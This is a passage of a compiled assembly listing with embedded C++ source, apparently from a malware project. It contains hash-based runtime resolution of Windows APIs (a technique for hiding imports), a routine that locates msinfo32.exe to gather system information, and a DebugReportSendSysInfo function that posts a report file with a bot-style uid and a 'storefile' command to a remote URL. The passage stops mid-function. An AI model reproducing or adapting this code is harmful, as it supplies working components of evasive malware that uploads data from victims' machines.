??$DBGOutMessage@PBDPBDPAX@DBGRPTDEBGTEMPLATES@@YAXPBD0PAX@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,void *>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPAX@DBGRPTDEBGTEMPLATES@@YAXPBD0PAX@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,void *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z	; pushargEx<1,2180051167,35,char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z PROC	; pushargEx<1,2180051167,35,char *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 23		 push	 35			; 00000023H
  00002	68 df f0 f0 81	 push	 -2114916129		; 81f0f0dfH
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ENDP	; pushargEx<1,2180051167,35,char *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPADKK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADKK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,unsigned long,unsigned long>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPADKK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADKK@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
_Arg3$ = 24						; size = 4
??$DBGOutMessage@PBDPBDPADKK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADKK@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,unsigned long,unsigned long>, COMDAT
; 90   : 	#ifdef DebugUtils
; 91   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3);
; 92   : 	#endif
; 93   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPADKK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADKK@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,unsigned long,unsigned long>
_TEXT	ENDS
PUBLIC	??$pushargEx@$01$0JAKAJHPA@$0ON@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z ; pushargEx<2,2426443760,237,HKEY__ *,wchar_t *,int,int,int,long,int,HKEY__ * *,unsigned long *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$01$0JAKAJHPA@$0ON@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
_a7$ = 32						; size = 4
_a8$ = 36						; size = 4
_a9$ = 40						; size = 4
??$pushargEx@$01$0JAKAJHPA@$0ON@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z PROC ; pushargEx<2,2426443760,237,HKEY__ *,wchar_t *,int,int,int,long,int,HKEY__ * *,unsigned long *>, COMDAT
; 163  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 164  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G, H, I);
; 165  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	68 ed 00 00 00	 push	 237			; 000000edH
  00008	68 f0 97 a0 90	 push	 -1868523536		; 90a097f0H
  0000d	6a 02		 push	 2
  0000f	6a 00		 push	 0
  00011	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00016	83 c4 10	 add	 esp, 16			; 00000010H
; 166  : 	return func(a1, a2, a3, a4, a5, a6, a7, a8, a9);
  00019	ff 75 28	 push	 DWORD PTR _a9$[ebp]
  0001c	ff 75 24	 push	 DWORD PTR _a8$[ebp]
  0001f	ff 75 20	 push	 DWORD PTR _a7$[ebp]
  00022	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  00025	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  00028	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  0002b	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  0002e	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00031	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  00034	ff d0		 call	 eax
; 167  : }
  00036	5d		 pop	 ebp
  00037	c3		 ret	 0
??$pushargEx@$01$0JAKAJHPA@$0ON@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z ENDP ; pushargEx<2,2426443760,237,HKEY__ *,wchar_t *,int,int,int,long,int,HKEY__ * *,unsigned long *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0CNEALIOG@$0IC@PAD@@YAPAXPAD@Z	; pushargEx<1,759216358,130,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0CNEALIOG@$0IC@PAD@@YAPAXPAD@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0CNEALIOG@$0IC@PAD@@YAPAXPAD@Z PROC	; pushargEx<1,759216358,130,char *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 82 00 00 00	 push	 130			; 00000082H
  00005	68 e6 b8 40 2d	 push	 759216358		; 2d40b8e6H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00016	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  0001a	ff d0		 call	 eax
; 103  : }
  0001c	c3		 ret	 0
??$pushargEx@$00$0CNEALIOG@$0IC@PAD@@YAPAXPAD@Z ENDP	; pushargEx<1,759216358,130,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$01$0DOEAAPMA@$0NM@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z ; pushargEx<2,1044385728,220,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$01$0DOEAAPMA@$0NM@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
??$pushargEx@$01$0DOEAAPMA@$0NM@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z PROC ; pushargEx<2,1044385728,220,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long>, COMDAT
; 139  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 140  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F);
; 141  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	68 dc 00 00 00	 push	 220			; 000000dcH
  00008	68 c0 0f 40 3e	 push	 1044385728		; 3e400fc0H
  0000d	6a 02		 push	 2
  0000f	6a 00		 push	 0
  00011	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00016	83 c4 10	 add	 esp, 16			; 00000010H
; 142  : 	return func(a1, a2, a3, a4, a5, a6);
  00019	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  0001c	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  0001f	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  00022	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  00025	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00028	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  0002b	ff d0		 call	 eax
; 143  : }
  0002d	5d		 pop	 ebp
  0002e	c3		 ret	 0
??$pushargEx@$01$0DOEAAPMA@$0NM@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z ENDP ; pushargEx<2,1044385728,220,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long>
_TEXT	ENDS
PUBLIC	?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z		; STRUTILS<char>::IsEmpty
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z PROC			; STRUTILS<char>::IsEmpty, COMDAT
; 20   : 	return Str == NULL || *Str == 0;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 08		 je	 SHORT $LN3@IsEmpty
  00008	80 38 00	 cmp	 BYTE PTR [eax], 0
  0000b	74 03		 je	 SHORT $LN3@IsEmpty
  0000d	33 c0		 xor	 eax, eax
; 21   : }
  0000f	c3		 ret	 0
$LN3@IsEmpty:
; 20   : 	return Str == NULL || *Str == 0;
  00010	33 c0		 xor	 eax, eax
  00012	40		 inc	 eax
; 21   : }
  00013	c3		 ret	 0
?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ENDP			; STRUTILS<char>::IsEmpty
_TEXT	ENDS
PUBLIC	??$Alloc@D@STRBUF@@YAPADK@Z			; STRBUF::Alloc<char>
; Function compile flags: /Ogspy
;	COMDAT ??$Alloc@D@STRBUF@@YAPADK@Z
_TEXT	SEGMENT
_Size$ = 8						; size = 4
??$Alloc@D@STRBUF@@YAPADK@Z PROC			; STRBUF::Alloc<char>, COMDAT
; 379  : 	// 
 Size 
; 380  : 	// 
; 381  : 	if (Size == 0) return NULL;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Size$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	75 01		 jne	 SHORT $LN2@Alloc
; 396  : 	return (TChar*)Buf;
; 397  : }
  00008	c3		 ret	 0
$LN2@Alloc:
; 382  : 
; 383  : 	#ifdef USE_BLOCKS_STRINGS
; 384  :         Size = ((Size / STRING_BLOCK_SIZE) + 1) * STRING_BLOCK_SIZE;
  00009	c1 e8 05	 shr	 eax, 5
  0000c	40		 inc	 eax
  0000d	c1 e0 05	 shl	 eax, 5
  00010	56		 push	 esi
  00011	8b f0		 mov	 esi, eax
; 385  : 	#endif
; 386  : 
; 387  : 	DWORD BufSize = (Size + 1) * sizeof(TChar) + sizeof(TStrRec);
  00013	8d 46 0d	 lea	 eax, DWORD PTR [esi+13]
; 388  : 	TStrRec* Buf = (TStrRec*)HEAP::Alloc(BufSize);
  00016	50		 push	 eax
  00017	e8 00 00 00 00	 call	 ?Alloc@HEAP@@YAPAXK@Z	; HEAP::Alloc
  0001c	59		 pop	 ecx
; 389  : 	if (Buf == NULL) return NULL;
  0001d	85 c0		 test	 eax, eax
  0001f	75 02		 jne	 SHORT $LN1@Alloc
  00021	5e		 pop	 esi
; 396  : 	return (TChar*)Buf;
; 397  : }
  00022	c3		 ret	 0
$LN1@Alloc:
; 390  : 
; 391  : 	Buf->Size     = Size;
; 392  : 	Buf->Length   = 0;
  00023	83 60 04 00	 and	 DWORD PTR [eax+4], 0
  00027	89 30		 mov	 DWORD PTR [eax], esi
; 393  : 	Buf->RefCount = 1;
  00029	c7 40 08 01 00
	00 00		 mov	 DWORD PTR [eax+8], 1
; 394  : 
; 395  : 	Buf++;
  00030	83 c0 0c	 add	 eax, 12			; 0000000cH
  00033	5e		 pop	 esi
; 396  : 	return (TChar*)Buf;
; 397  : }
  00034	c3		 ret	 0
??$Alloc@D@STRBUF@@YAPADK@Z ENDP			; STRBUF::Alloc<char>
_TEXT	ENDS
PUBLIC	??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z	; STRBUF::GetRec<char>
; Function compile flags: /Ogspy
;	COMDAT ??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z PROC		; STRBUF::GetRec<char>, COMDAT
; 442  : 	// 
; 443  : 	TStrRec* R = (TStrRec*)Str;
; 444  :     return R[-1];
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	83 c0 f4	 add	 eax, -12		; fffffff4H
; 445  : }
  00007	c3		 ret	 0
??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z ENDP		; STRBUF::GetRec<char>
_TEXT	ENDS
PUBLIC	?DbgRptSprintfA@@YAXPADPBDZZ			; DbgRptSprintfA
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
;	COMDAT ?DbgRptSprintfA@@YAXPADPBDZZ
_TEXT	SEGMENT
_buffer$ = 8						; size = 4
_format$ = 12						; size = 4
?DbgRptSprintfA@@YAXPADPBDZZ PROC			; DbgRptSprintfA, COMDAT
; 402  :   va_list ptr;
; 403  :   va_start(ptr, format);
; 404  :   pwvsprintfA(buffer, format, ptr);
  00000	8d 44 24 0c	 lea	 eax, DWORD PTR _format$[esp]
  00004	50		 push	 eax
  00005	ff 74 24 0c	 push	 DWORD PTR _format$[esp]
  00009	ff 74 24 0c	 push	 DWORD PTR _buffer$[esp+4]
  0000d	e8 00 00 00 00	 call	 ??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z ; pushargEx<3,1799024876,346,char *,char const *,char *>
  00012	83 c4 0c	 add	 esp, 12			; 0000000cH
; 405  :   va_end(ptr);
; 406  : }
  00015	c3		 ret	 0
?DbgRptSprintfA@@YAXPADPBDZZ ENDP			; DbgRptSprintfA
_TEXT	ENDS
PUBLIC	??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@		; `string'
PUBLIC	??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@ ; `string'
PUBLIC	??_C@_01KICIPPFI@?2?$AA@			; `string'
PUBLIC	?GetPathToMsInfo32@@YAPADXZ			; GetPathToMsInfo32
EXTRN	?m_lstrcat@@YGXPADPBD@Z:PROC			; m_lstrcat
EXTRN	?Length@STR@@YAKPAD@Z:PROC			; STR::Length
EXTRN	?Alloc@STR@@YAPADK@Z:PROC			; STR::Alloc
EXTRN	?m_memset@@YAXPBXEI@Z:PROC			; m_memset
;	COMDAT ??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@
CONST	SEGMENT
??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@ DB 'msinfo32.exe', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@
CONST	SEGMENT
??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@ DB '\Common Fil'
	DB	'es\Microsoft Shared\MSInfo\', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_01KICIPPFI@?2?$AA@
CONST	SEGMENT
??_C@_01KICIPPFI@?2?$AA@ DB '\', 00H			; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?GetPathToMsInfo32@@YAPADXZ
_TEXT	SEGMENT
_ver$ = -160						; size = 156
_PathSuffix$ = -4					; size = 4
?GetPathToMsInfo32@@YAPADXZ PROC			; GetPathToMsInfo32, COMDAT
; 553  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	81 ec a0 00 00
	00		 sub	 esp, 160		; 000000a0H
  00009	53		 push	 ebx
  0000a	56		 push	 esi
; 554  : 	int FolderId = CSIDL_SYSTEM;
  0000b	6a 25		 push	 37			; 00000025H
  0000d	5b		 pop	 ebx
; 555  : 	const char* PathSuffix = "\\";
; 556  : 
; 557  : 	OSVERSIONINFOEXA ver;
; 558  : 
; 559  : 	m_memset(&ver, 0, sizeof(ver));
  0000e	8d 73 77	 lea	 esi, DWORD PTR [ebx+119]
  00011	56		 push	 esi
  00012	8d 85 60 ff ff
	ff		 lea	 eax, DWORD PTR _ver$[ebp]
  00018	6a 00		 push	 0
  0001a	50		 push	 eax
  0001b	c7 45 fc 00 00
	00 00		 mov	 DWORD PTR _PathSuffix$[ebp], OFFSET ??_C@_01KICIPPFI@?2?$AA@
  00022	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 560  : 	ver.dwOSVersionInfoSize = sizeof(ver);
; 561  : 
; 562  : 	if (!(BOOL)pGetVersionExA(&ver)) return NULL;
  00027	8d 85 60 ff ff
	ff		 lea	 eax, DWORD PTR _ver$[ebp]
  0002d	50		 push	 eax
  0002e	89 b5 60 ff ff
	ff		 mov	 DWORD PTR _ver$[ebp], esi
  00034	e8 00 00 00 00	 call	 ??$pushargEx@$00$0JMEIAOCE@$0DO@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z ; pushargEx<1,2621967908,62,_OSVERSIONINFOEXA *>
  00039	83 c4 10	 add	 esp, 16			; 00000010H
  0003c	85 c0		 test	 eax, eax
  0003e	74 52		 je	 SHORT $LN3@GetPathToM
$LN2@GetPathToM:
; 563  : 
; 564  : 	if (ver.dwMajorVersion == 5)
  00040	83 bd 64 ff ff
	ff 05		 cmp	 DWORD PTR _ver$[ebp+4], 5
  00047	75 0a		 jne	 SHORT $LN1@GetPathToM
; 565  : 	{
; 566  : 		FolderId = CSIDL_PROGRAM_FILES;
  00049	6a 26		 push	 38			; 00000026H
  0004b	5b		 pop	 ebx
; 567  : 		PathSuffix = "\\Common Files\\Microsoft Shared\\MSInfo\\";
  0004c	c7 45 fc 00 00
	00 00		 mov	 DWORD PTR _PathSuffix$[ebp], OFFSET ??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@
$LN1@GetPathToM:
; 568  : 	}
; 569  : 
; 570  : 	PCHAR Path = STR::Alloc(2 * MAX_PATH);
  00053	68 08 02 00 00	 push	 520			; 00000208H
  00058	e8 00 00 00 00	 call	 ?Alloc@STR@@YAPADK@Z	; STR::Alloc
  0005d	8b f0		 mov	 esi, eax
; 571  : 	m_memset(Path, 0, STR::Length(Path));
  0005f	56		 push	 esi
  00060	e8 00 00 00 00	 call	 ?Length@STR@@YAKPAD@Z	; STR::Length
  00065	50		 push	 eax
  00066	6a 00		 push	 0
  00068	56		 push	 esi
  00069	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 572  : 
; 573  : 	pSHGetSpecialFolderPathA(NULL, Path, FolderId, false);
  0006e	6a 00		 push	 0
  00070	53		 push	 ebx
  00071	56		 push	 esi
  00072	6a 00		 push	 0
  00074	e8 00 00 00 00	 call	 ??$pushargEx@$06$0MJFNIFFA@$0BMA@HPADH_N@@YAPAXHPADH_N@Z ; pushargEx<7,3378349392,448,int,char *,int,bool>
  00079	83 c4 24	 add	 esp, 36			; 00000024H
; 574  : 	m_lstrcat(Path, PathSuffix);
  0007c	ff 75 fc	 push	 DWORD PTR _PathSuffix$[ebp]
  0007f	56		 push	 esi
  00080	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 575  : 	m_lstrcat(Path, "msinfo32.exe");
  00085	68 00 00 00 00	 push	 OFFSET ??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@
  0008a	56		 push	 esi
  0008b	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 576  : 
; 577  : 	return Path;
  00090	8b c6		 mov	 eax, esi
$LN3@GetPathToM:
  00092	5e		 pop	 esi
  00093	5b		 pop	 ebx
; 578  : }
  00094	c9		 leave
  00095	c3		 ret	 0
?GetPathToMsInfo32@@YAPADXZ ENDP			; GetPathToMsInfo32
_TEXT	ENDS
PUBLIC	??_C@_03HOKODIMJ@rep?$AA@			; `string'
PUBLIC	??_C@_01HNPIGOCE@?$CG?$AA@			; `string'
PUBLIC	??_C@_03MEMNCOEB@uid?$AA@			; `string'
PUBLIC	??_C@_03LGLGIONO@cmd?$AA@			; `string'
PUBLIC	??_C@_09IPFKEBPF@storefile?$AA@			; `string'
PUBLIC	?DebugReportSendSysInfo@@YAXPAD00@Z		; DebugReportSendSysInfo
EXTRN	?Free@Strings@@YAXPAX@Z:PROC			; Strings::Free
EXTRN	?Free@MultiPartData@@YAXPAUTMultiPartDataRec@@@Z:PROC ; MultiPartData::Free
EXTRN	?Post@HTTP@@YA_NPADPAUTMultiPartDataRec@@PAPADPAUTHTTPResponseRec@@@Z:PROC ; HTTP::Post
EXTRN	?AddFileField@MultiPartData@@YAPAUTMultiPartItem@@PAUTMultiPartDataRec@@PAD11@Z:PROC ; MultiPartData::AddFileField
EXTRN	?Create@MultiPartData@@YAPAUTMultiPartDataRec@@XZ:PROC ; MultiPartData::Create
EXTRN	?New@STR@@YAPADKPADZZ:PROC			; STR::New
EXTRN	?GetText@Strings@@YAPADPAXPAD@Z:PROC		; Strings::GetText
EXTRN	?AddURLParam@@YAXPAXPAD1K@Z:PROC		; AddURLParam
EXTRN	?Create@Strings@@YAPAXXZ:PROC			; Strings::Create
;	COMDAT ??_C@_03HOKODIMJ@rep?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_03HOKODIMJ@rep?$AA@ DB 'rep', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_01HNPIGOCE@?$CG?$AA@
CONST	SEGMENT
??_C@_01HNPIGOCE@?$CG?$AA@ DB '&', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_03MEMNCOEB@uid?$AA@
CONST	SEGMENT
??_C@_03MEMNCOEB@uid?$AA@ DB 'uid', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_03LGLGIONO@cmd?$AA@
CONST	SEGMENT
??_C@_03LGLGIONO@cmd?$AA@ DB 'cmd', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_09IPFKEBPF@storefile?$AA@
CONST	SEGMENT
??_C@_09IPFKEBPF@storefile?$AA@ DB 'storefile', 00H	; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?DebugReportSendSysInfo@@YAXPAD00@Z
_TEXT	SEGMENT
_Params$ = -12						; size = 4
_URL$ = -8						; size = 4
_Buffer$ = -4						; size = 4
_uid$ = 8						; size = 4
_url$ = 12						; size = 4
_path$ = 16						; size = 4
?DebugReportSendSysInfo@@YAXPAD00@Z PROC		; DebugReportSendSysInfo, COMDAT
; 581  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 0c	 sub	 esp, 12			; 0000000cH
  00006	53		 push	 ebx
  00007	56		 push	 esi
  00008	57		 push	 edi
; 582  : 	PStrings Fields = Strings::Create();
  00009	e8 00 00 00 00	 call	 ?Create@Strings@@YAPAXXZ ; Strings::Create
; 583  : 	AddURLParam(Fields, "cmd", "storefile");
  0000e	33 ff		 xor	 edi, edi
  00010	57		 push	 edi
  00011	68 00 00 00 00	 push	 OFFSET ??_C@_09IPFKEBPF@storefile?$AA@
  00016	8b f0		 mov	 esi, eax
  00018	68 00 00 00 00	 push	 OFFSET ??_C@_03LGLGIONO@cmd?$AA@
  0001d	56		 push	 esi
  0001e	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 584  : 	AddURLParam(Fields, "uid", (PCHAR)uid);
  00023	57		 push	 edi
  00024	ff 75 08	 push	 DWORD PTR _uid$[ebp]
  00027	68 00 00 00 00	 push	 OFFSET ??_C@_03MEMNCOEB@uid?$AA@
  0002c	56		 push	 esi
  0002d	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 585  : 
; 586  : 	PCHAR Params = Strings::GetText(Fields, "&");
  00032	68 00 00 00 00	 push	 OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@
  00037	56		 push	 esi
  00038	e8 00 00 00 00	 call	 ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText
; 587  : 	PCHAR URL = STR::New(2, url, Params);
  0003d	50		 push	 eax
  0003e	ff 75 0c	 push	 DWORD PTR _url$[ebp]
  00041	89 45 f4	 mov	 DWORD PTR _Params$[ebp], eax
  00044	6a 02		 push	 2
  00046	e8 00 00 00 00	 call	 ?New@STR@@YAPADKPADZZ	; STR::New
  0004b	89 45 f8	 mov	 DWORD PTR _URL$[ebp], eax
; 588  : 
; 589  : 	DBGRPTDBG("DebugReportSendSysInfo", "sending url='%s'", URL);
; 590  : 
; 591  : 	PMultiPartData Data = MultiPartData::Create();
  0004e	e8 00 00 00 00	 call	 ?Create@MultiPartData@@YAPAUTMultiPartDataRec@@XZ ; MultiPartData::Create
; 592  : 
; 593  : 	MultiPartData::AddFileField(Data, "rep", path, NULL);
  00053	57		 push	 edi
  00054	ff 75 10	 push	 DWORD PTR _path$[ebp]
  00057	8b d8		 mov	 ebx, eax
  00059	68 00 00 00 00	 push	 OFFSET ??_C@_03HOKODIMJ@rep?$AA@
  0005e	53		 push	 ebx
  0005f	e8 00 00 00 00	 call	 ?AddFileField@MultiPartData@@YAPAUTMultiPartItem@@PAUTMultiPartDataRec@@PAD11@Z ; MultiPartData::AddFileField
  00064	83 c4 44	 add	 esp, 68			; 00000044H
; 594  : 	PCHAR Buffer = NULL;
; 595  : 	bool Result = HTTP::Post(URL, Data, &Buffer, NULL);
  00067	57		 push	 edi
  00068	8d 45 fc	 lea	 eax, DWORD PTR _Buffer$[ebp]
  0006b	50		 push	 eax
  0006c	53		 push	 ebx
  0006d	ff 75 f8	 push	 DWORD PTR _URL$[ebp]
  00070	89 7d fc	 mov	 DWORD PTR _Buffer$[ebp], edi
  00073	e8 00 00 00 00	 call	 ?Post@HTTP@@YA_NPADPAUTMultiPartDataRec@@PAPADPAUTHTTPResponseRec@@@Z ; HTTP::Post
; 596  : 
; 597  : 	DBGRPTDBG("DebugReportSendSysInfo", "HTTP::Post() result %d", Result);
; 598  : 
; 599  : 	STR::Free(Buffer);
  00078	ff 75 fc	 push	 DWORD PTR _Buffer$[ebp]
  0007b	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 600  : 	MultiPartData::Free(Data);
  00080	53		 push	 ebx
  00081	e8 00 00 00 00	 call	 ?Free@MultiPartData@@YAXPAUTMultiPartDataRec@@@Z ; MultiPartData::Free
; 601  : 	STR::Free(URL);
  00086	ff 75 f8	 push	 DWORD PTR _URL$[ebp]
  00089	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 602  : 	STR::Free(Params);
  0008e	ff 75 f4	 push	 DWORD PTR _Params$[ebp]
  00091	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 603  : 	Strings::Free(Fields);
  00096	56		 push	 esi
  00097	e8 00 00 00 00	 call	 ?Free@Strings@@YAXPAX@Z	; Strings::Free
  0009c	83 c4 24	 add	 esp, 36			; 00000024H
  0009f	5f		 pop	 edi
  000a0	5e		 pop	 esi
  000a1	5b		 pop	 ebx
; 604  : }
  000a2	c9		 leave
  000a3	c3		 ret	 0
?DebugReportSendSysInfo@@YAXPAD00@Z ENDP		; DebugReportSendSysInfo
_TEXT	ENDS
PUBLIC	?IsEmpty@?$TString@D@@QBE_NXZ			; TString<char>::IsEmpty
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?IsEmpty@?$TString@D@@QBE_NXZ
_TEXT	SEGMENT
?IsEmpty@?$TString@D@@QBE_NXZ PROC			; TString<char>::IsEmpty, COMDAT
; _this$ = ecx
; 695  : 	return STRUTILS<TChar>::IsEmpty(Data);
  00000	ff 71 04	 push	 DWORD PTR [ecx+4]
